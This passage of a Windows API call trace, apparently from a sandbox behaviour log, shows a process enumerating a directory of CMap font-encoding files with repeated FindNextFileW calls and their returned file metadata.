ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETenms-B5-H", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc89, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETenms-B5-V", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6017, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETHK-B5-H", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETHK-B5-V", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUC-H", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUC-V", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x403c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ext-RKSJ-H", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ext-RKSJ-V", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-EUC-H", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-EUC-V", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15594, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-H", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x39050, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-UCS2", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-V", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17840, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK2K-H", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe55, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK2K-V", cAlternateFileName="")) returned 1 [0083.886] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15580, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBKp-EUC-H", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBKp-EUC-V", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x125b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-H", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x520, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-UCS2", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24296, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-UCS2C", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccf, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBpc-EUC-V", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc07a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBT-EUC-H", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xccb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBT-EUC-V", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x145a, dwReserved0=0x0, dwReserved1=0x0, cFileName="H", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5f97, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdla-B5-H", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdla-B5-V", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x55fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdlb-B5-H", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKdlb-B5-V", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x386a, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKgccs-B5-H", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKgccs-B5-V", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x37a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm314-B5-H", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm314-B5-V", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm471-B5-H", cAlternateFileName="")) returned 1 [0083.887] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc21, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKm471-B5-V", cAlternateFileName="")) returned 1 [0083.888] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x604d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKscs-B5-H", cAlternateFileName="")) returned 1 [0083.888] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="HKscs-B5-V", cAlternateFileName="")) returned 1 [0083.888] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-H", cAlternateFileName="")) returned 1 [0083.888] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f556b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-V", cAlternateFileName="")) returned 1 [0083.889] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3047, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSC-EUC-H", cAlternateFileName="")) returned 1 [0083.889] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSC-EUC-V", cAlternateFileName="")) returned 1 [0083.889] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4191, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-H", cAlternateFileName="")) returned 1 [0083.889] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x418c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-HW-H", cAlternateFileName="")) returned 1 [0083.889] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-HW-V", cAlternateFileName="")) returned 1 [0083.889] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e597, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-UCS2", cAlternateFileName="")) returned 1 [0083.889] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCms-UHC-V", cAlternateFileName="")) returned 1 [0083.889] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x33b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-H", cAlternateFileName="")) returned 1 [0083.889] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-UCS2", cAlternateFileName="")) returned 1 [0083.889] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 